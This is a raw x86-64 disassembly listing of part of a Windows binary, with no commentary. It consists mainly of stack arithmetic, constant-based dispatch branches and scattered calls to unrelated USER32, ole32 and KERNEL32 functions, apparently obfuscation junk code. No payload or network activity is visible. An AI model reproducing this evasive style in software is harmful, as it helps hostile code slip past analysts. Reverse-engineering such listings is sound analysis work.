mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa808]
shl eax, cl
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa7d0], eax
mov eax, dword [rsp + 0xa7d4]
mov ecx, dword [rsp + 0xa81c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa81c]
mov ecx, dword [rsp + 0xa810]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa774], eax
movzx eax, byte [rsp + 0x43d]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b1], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
cmp dword [rsp + 0xa7ac], 0x9abd
jbe 0x14001cade
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1784]
and eax, ecx
movsx ecx, word [rsp + 0x197c]
movsx edx, word [rsp + 0x2990]
add ecx, edx
cmp eax, ecx
jl 0x14001cead
mov eax, dword [rsp + 0xa810]
mov rcx, qword [rsp + 0x12f50]
mov qword [rsp + 0x13028], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13028]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f50]
mov qword [rsp + 0x13030], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13030]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa7d4], eax
mov r8d, 0x19
mov rdx, qword [rsp + 0x12f30]
mov rcx, qword [rsp + 0x13000]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa808]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
or eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa804]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2990]
movsx ecx, word [rsp + 0x1784]
sub eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
mov eax, dword [rsp + 0xa808]
mov ecx, dword [rsp + 0xa7dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
lea rdx, [rsp + 0x12ed8]
mov rcx, qword [rsp + 0x12f68]
call qword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
mov dword [rsp + 0xa820], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x298c], ax
jmp 0x14001d048
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
cmp eax, ecx
je 0x14001cf81
movzx eax, byte [rsp + 0x43d]
movzx ecx, byte [rsp + 0x6b1]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa7b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa810], eax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa808]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa7d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov rdx, qword [rsp + 0x12f08]
lea rcx, [rsp + 0x12f48]
call qword [sym.imp.USER32.dll_OemToCharW]
mov dword [rsp + 0xa77c], eax
mov eax, dword [rsp + 0xa804]
movzx ecx, al
mov eax, dword [rsp + 0xa7b4]
sar eax, cl
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x14001d048
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
cmp eax, ecx
jge 0x14001d048
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
shl eax, cl
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
mov eax, dword [rsp + 0xa7d0]
mov dword [rsp + 0xa7dc], eax
lea rdx, [rsp + 0x41958]
lea rcx, [rsp + 0x41978]
call fcn.14030f250
mov dword [rsp + 0xa824], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa81c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8604], eax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1784]
sub eax, ecx
movsx ecx, word [rsp + 0x2990]
movsx edx, word [rsp + 0x197c]
and ecx, edx
cmp eax, ecx
jl 0x14001d257
movzx eax, word [rsp + 0x1784]
mov word [rsp + 0x2990], ax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
sub eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x298c], ax
mov rcx, qword [rsp + 0x12f30]
call qword [sym.imp.USER32.dll_ArrangeIconicWindows]
mov dword [rsp + 0xa808], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f48]
mov qword [rsp + 0x13038], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13038]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
or eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
and eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa810]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa804], eax
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov edx, dword [rsp + 0xa7e0]
lea rcx, [rsp + 0x12ff8]
call qword [sym.imp.ole32.dll_CoMarshalHresult]
mov dword [rsp + 0xa828], eax
mov rax, qword [rsp + 0x13020]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa810]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa804], eax
jmp 0x14001d434
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
cmp eax, ecx
jle 0x14001d370
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x43d], al
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8604]
mov ecx, dword [rsp + 0xa774]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov rdx, qword [rsp + 0x13040]
mov cx, 5
call qword [sym.imp.USER32.dll_VkKeyScanExW]
mov word [rsp + 0x1784], ax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1784]
sar eax, cl
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1784], ax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
xor eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
jmp 0x14001d434
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1784]
or eax, ecx
movsx ecx, word [rsp + 0x197c]
movsx edx, word [rsp + 0x2990]
add ecx, edx
cmp eax, ecx
jg 0x14001d434
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x43d], al
mov r8d, 0x73
mov rdx, qword [rsp + 0x13048]
mov rcx, qword [rsp + 0x12fe0]
call qword [sym.imp.USER32.dll_ChildWindowFromPointEx]
mov qword [rsp + 0x12f30], rax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa810], eax
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7d4], eax
cmp dword [rsp + 0xa794], 0x923
ja 0x14001d529
mov eax, dword [rsp + 0xa7dc]
mov ecx, dword [rsp + 0xa808]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa794]
add eax, 0xe
mov dword [rsp + 0xa794], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x13020]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa810], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x43d]
movzx ecx, byte [rsp + 0x6b1]
sub eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa810]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f48]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa774], eax
jmp 0x14001d434
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov dword [rsp + 0xa82c], eax
cmp dword [rsp + 0xa82c], 0
je 0x14001d58d
cmp dword [rsp + 0xa82c], 0x2279
je 0x14001d67a
cmp dword [rsp + 0xa82c], 0x416f
je 0x14001d608
cmp dword [rsp + 0xa82c], 0xbc2d
je 0x14001d7ef
cmp dword [rsp + 0xa82c], 0xf13a
je 0x14001d6e5
jmp 0x14001d845
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa7d8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8604], eax
lea rax, [rsp + 0x298c]
mov qword [rsp + 0x13050], rax
lea rdx, [rsp + 0x13058]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa7c0], eax
lea rax, [rsp + 0x43d]
mov qword [rsp + 0x13060], rax
movzx eax, byte [rsp + 0x43e]
mov byte [rsp + 0x6b2], al
movzx eax, word [rsp + 0x197c]
mov word [rsp + 0x2990], ax
jmp 0x14001d9a6
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f48]
mov qword [rsp + 0x13068], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13068]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa774]
movzx ecx, al
mov eax, dword [rsp + 0xa81c]
shl eax, cl
mov dword [rsp + 0xa7d8], eax
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
jmp 0x14001d9a6
mov cx, 0xfa
call qword [sym.imp.USER32.dll_IsCharUpperW]
mov dword [rsp + 0xa818], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b1], al
mov eax, dword [rsp + 0xa808]
mov ecx, dword [rsp + 0xa7d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa810]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa804], eax
jmp 0x14001d9a6
mov rax, qword [rsp + 0x13020]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7d0], eax
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov r9d, 0xa6
lea r8, [rsp + 0x4a320]
mov edx, 0x26
mov rcx, qword [rsp + 0x13070]
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
mov dword [rsp + 0xa77c], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
add eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa804]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa810], eax
mov rax, qword [rsp + 0x12f20]
mov rcx, qword [rsp + 0x13020]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov dword [rsp + 0xa808], eax
mov eax, dword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0xa81c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa804], eax
jmp 0x14001d9a6
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
lea rcx, [rsp + 0xa7e0]
call qword [sym.imp.ole32.dll_CoFileTimeNow]
mov dword [rsp + 0xa7f4], eax
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2990], ax
jmp 0x14001d9a6
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13020]
mov qword [rsp + 0x13078], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13078]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x43d]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6b1], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
or eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
mov r9d, 0x37
lea r8, [rsp + 0x13080]
xor edx, edx
mov rcx, qword [rsp + 0x12ed8]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0xa790], eax
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x298c], ax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x43d]
or eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8604]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov r8d, 0x42
mov rdx, qword [rsp + 0x13088]
mov rcx, qword [rsp + 0x12f30]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
lea rax, [rsp + 0xa810]
mov qword [rsp + 0x13090], rax
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0x8604]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0xa81c]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x14001da90
movsx eax, word [rsp + 0x197c]
movsx ecx, word [rsp + 0x2990]
sub eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x43d]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b1], al
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x298c], ax
mov eax, dword [rsp + 0xa7dc]
mov rcx, qword [rsp + 0x12f48]
mov qword [rsp + 0x13098], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13098]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d0]
mov ecx, dword [rsp + 0xa808]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
jmp 0x14030e7c9
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8604]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa81c]
mov rdx, qword [rsp + 0x12ee0]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14030e4d4
lea rcx, [rsp + 0x41a78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov dword [rsp + 0xa830], eax
cmp dword [rsp + 0xa830], 0x5c3d
ja 0x14001db30
cmp dword [rsp + 0xa830], 0x5c3d
je 0x14001e0e0
cmp dword [rsp + 0xa830], 0
je 0x14001db68
cmp dword [rsp + 0xa830], 0x134e
je 0x14001deb5
cmp dword [rsp + 0xa830], 0x2c97
je 0x14001e253
jmp 0x14001e40c
cmp dword [rsp + 0xa830], 0x6604
je 0x14001dfa4
cmp dword [rsp + 0xa830], 0xbc68
je 0x14001de1e
cmp dword [rsp + 0xa830], 0xf890
je 0x14001e308
jmp 0x14001e40c
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0xa7dc]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14001dd5e
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8604]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
shl eax, cl
movsx ecx, word [rsp + 0x2990]
mov dword [rsp + 0xa834], ecx
movsx edx, word [rsp + 0x1784]
movzx ecx, dl
mov edx, dword [rsp + 0xa834]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14001dce1
mov rax, qword [rsp + 0x12f08]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x41968]
mov r8d, 0xac
mov edx, 0xdc
mov rcx, qword [rsp + 0x12f10]
call qword [sym.imp.USER32.dll_ModifyMenuW]
mov dword [rsp + 0xa838], eax
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x12f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7b4], eax
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
add eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa808]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7d0], eax
jmp 0x14001dd59
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x197c]
and eax, ecx
movsx ecx, word [rsp + 0x1784]
movsx edx, word [rsp + 0x2990]
sub ecx, edx
cmp eax, ecx
je 0x14001dd0e
jmp 0x14001dd59
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
or eax, ecx
mov ecx, dword [rsp + 0xa7d8]
mov edx, dword [rsp + 0xa7d4]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14001dd59
lea r8, [rsp + 0x12f70]
mov edx, 0xd2
lea rcx, [rsp + 0x41988]
call qword [sym.imp.ole32.dll_OleRegGetUserType]
mov dword [rsp + 0xa83c], eax
jmp 0x14001de19
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x12fe8]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x14001ddad
mov eax, dword [rsp + 0x8604]
mov ecx, dword [rsp + 0xa804]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
jmp 0x14001de19
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
add eax, ecx
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x12fe8]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jle 0x14001ddfd
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa774]
shl eax, cl
mov dword [rsp + 0xa804], eax
jmp 0x14001de19
mov eax, dword [rsp + 0xa810]
mov ecx, dword [rsp + 0xa774]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x14001e4b9
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8604]
sar eax, cl
mov dword [rsp + 0xa804], eax
mov r8d, 0xcb
mov edx, 0xaf
mov rcx, qword [rsp + 0x12f88]
call qword [sym.imp.USER32.dll_CheckMenuItem]
mov dword [rsp + 0xa808], eax
movsx eax, byte [rsp + 0x43e]
movsx ecx, byte [rsp + 0x6b0]
and eax, ecx
mov byte [rsp + 0x6b2], al
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
and eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x43d], al
jmp 0x14001e4b9
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
or eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7dc]
mov ecx, dword [rsp + 0xa808]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
mov r8d, 1
mov rdx, qword [rsp + 0x130a0]
mov rcx, qword [rsp + 0x130a8]
call qword [sym.imp.USER32.dll_GetUpdateRgn]
mov dword [rsp + 0xa804], eax
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x43d], al
mov eax, dword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0xa7b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa774], eax
mov eax, dword [rsp + 0xa7dc]
mov ecx, dword [rsp + 0xa7d0]
sub ecx, eax
mov eax, ecx
